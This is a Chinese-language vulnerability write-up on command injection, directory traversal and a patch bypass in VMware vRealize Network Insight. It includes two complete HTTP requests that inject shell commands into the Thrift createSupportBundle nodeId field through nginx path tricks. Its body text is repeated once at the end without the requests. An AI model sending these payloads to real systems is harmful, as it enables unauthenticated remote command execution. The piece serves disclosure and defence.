VMware VRealize Network Insight 命令注入和目录穿越及补丁绕过
字数 1214 2025-08-25 22:59:09

VMware vRealize Network Insight 命令注入和目录穿越漏洞分析及补丁绕过

漏洞概述

本文详细分析 VMware vRealize Network Insight (现更名为 Aria Operations for Networks) 中的两个关键漏洞:

  1. 未授权命令注入漏洞 (CVE-2022-31678)
  2. 目录穿越漏洞 (CVE-2022-31679)
    以及后续发现的补丁绕过技术 (CVE-2023-20887)

漏洞分析

VMSA-2022-0031 漏洞

1. 未授权命令注入漏洞

漏洞位置:

  • com.vnera.common.utils.ScriptUtils#evictPublishedSupportBundles
  • com.vnera.SaasListener.ServiceThriftListener.ServiceImpl#createSupportBundle

漏洞成因:

  1. 系统使用 Thrift RPC 协议进行通信
  2. createSupportBundle 方法中 nodeId 参数可控
  3. 参数直接拼接进命令中执行,未做任何过滤

调用链:

ManagementResource#createSupportBundles → 
ServiceImpl#createSupportBundle → 
ScriptUtils#evictPublishedSupportBundles

2. 目录穿越漏洞

漏洞位置:

  • com.vnera.SaasListener.ServiceThriftListener.ServiceImpl#downloadFile

漏洞成因:

  1. 文件下载功能未对路径进行严格校验
  2. 攻击者可构造特殊路径访问系统任意文件

漏洞利用细节

Thrift RPC 服务暴露

  1. Nginx 配置不当导致 Thrift RPC 服务可被外部访问
  2. 原始配置只允许 127.0.0.1 访问 /saasresttosaasservlet
  3. 但可通过 /saasresttosaasservlet/ 绕过限制

命令注入利用

请求示例:

POST /saasresttosaasservlet/ HTTP/2
Host: 192.168.1.155
Content-Type: application/x-thrift
Accept: application/x-thrift
User-Agent: Java/THttpClient/HC
Content-Length: 93

[1,"createSupportBundle",1,1,{"1":{"str":"10000"},"2":{"str":"*.tar.gz;touch /tmp/aaa;ls "}}]

关键点:

  1. 使用 Thrift 协议格式
  2. nodeId 参数 ("2":{"str":"..."}) 包含恶意命令
  3. 命令通过分号分隔注入

VMSA-2023-0012 补丁绕过

补丁问题:

  1. 初始补丁只修复了 /saasresttosaasservlet 的精确匹配
  2. 忽略了更宽松的 /saas location 块

绕过方法:
使用 /saas./resttosaasservlet 路径

绕过利用请求:

POST /saas./resttosaasservlet HTTP/2
Host: 192.168.1.155
User-Agent: Java/THttpClient/HC
Accept: application/x-thrift
Content-Type: application/x-www-form-urlencoded
Content-Length: 118

[1,"createSupportBundle",1,1,{"1":{"str":"10000"},"2":{"str":"*.tar.gz;touch /tmp/asdasd;ls "},"4":{"lst":["str",0]}}]

修复建议

  1. 对所有用户输入进行严格过滤和验证
  2. 避免直接拼接命令,使用参数化执行方式
  3. 加强 Nginx 配置的安全性,避免路径绕过
  4. 限制 Thrift RPC 服务的访问权限
  5. 及时应用 VMware 发布的最新安全补丁

总结

该漏洞链展示了从配置不当到命令注入的完整攻击路径,强调了:

  1. 输入验证的重要性
  2. 服务暴露的最小化原则
  3. 补丁完整性的必要性
  4. 多层防御的必要性

管理员应及时应用所有相关补丁,并审查系统配置,确保类似漏洞无法被利用。

VMware vRealize Network Insight 命令注入和目录穿越漏洞分析及补丁绕过 漏洞概述 本文详细分析 VMware vRealize Network Insight (现更名为 Aria Operations for Networks) 中的两个关键漏洞: 未授权命令注入漏洞 (CVE-2022-31678) 目录穿越漏洞 (CVE-2022-31679) 以及后续发现的补丁绕过技术 (CVE-2023-20887) 漏洞分析 VMSA-2022-0031 漏洞 1. 未授权命令注入漏洞 漏洞位置 : com.vnera.common.utils.ScriptUtils#evictPublishedSupportBundles com.vnera.SaasListener.ServiceThriftListener.ServiceImpl#createSupportBundle 漏洞成因 : 系统使用 Thrift RPC 协议进行通信 createSupportBundle 方法中 nodeId 参数可控 参数直接拼接进命令中执行,未做任何过滤 调用链 : 2. 目录穿越漏洞 漏洞位置 : com.vnera.SaasListener.ServiceThriftListener.ServiceImpl#downloadFile 漏洞成因 : 文件下载功能未对路径进行严格校验 攻击者可构造特殊路径访问系统任意文件 漏洞利用细节 Thrift RPC 服务暴露 Nginx 配置不当导致 Thrift RPC 服务可被外部访问 原始配置只允许 127.0.0.1 访问 /saasresttosaasservlet 但可通过 /saasresttosaasservlet/ 绕过限制 命令注入利用 请求示例 : 关键点 : 使用 Thrift 协议格式 nodeId 参数 ( "2":{"str":"..."} ) 包含恶意命令 命令通过分号分隔注入 VMSA-2023-0012 补丁绕过 补丁问题 : 初始补丁只修复了 /saasresttosaasservlet 的精确匹配 忽略了更宽松的 /saas location 块 绕过方法 : 使用 /saas./resttosaasservlet 路径 绕过利用请求 : 修复建议 对所有用户输入进行严格过滤和验证 避免直接拼接命令,使用参数化执行方式 加强 Nginx 配置的安全性,避免路径绕过 限制 Thrift RPC 服务的访问权限 及时应用 VMware 发布的最新安全补丁 总结 该漏洞链展示了从配置不当到命令注入的完整攻击路径,强调了: 输入验证的重要性 服务暴露的最小化原则 补丁完整性的必要性 多层防御的必要性 管理员应及时应用所有相关补丁,并审查系统配置,确保类似漏洞无法被利用。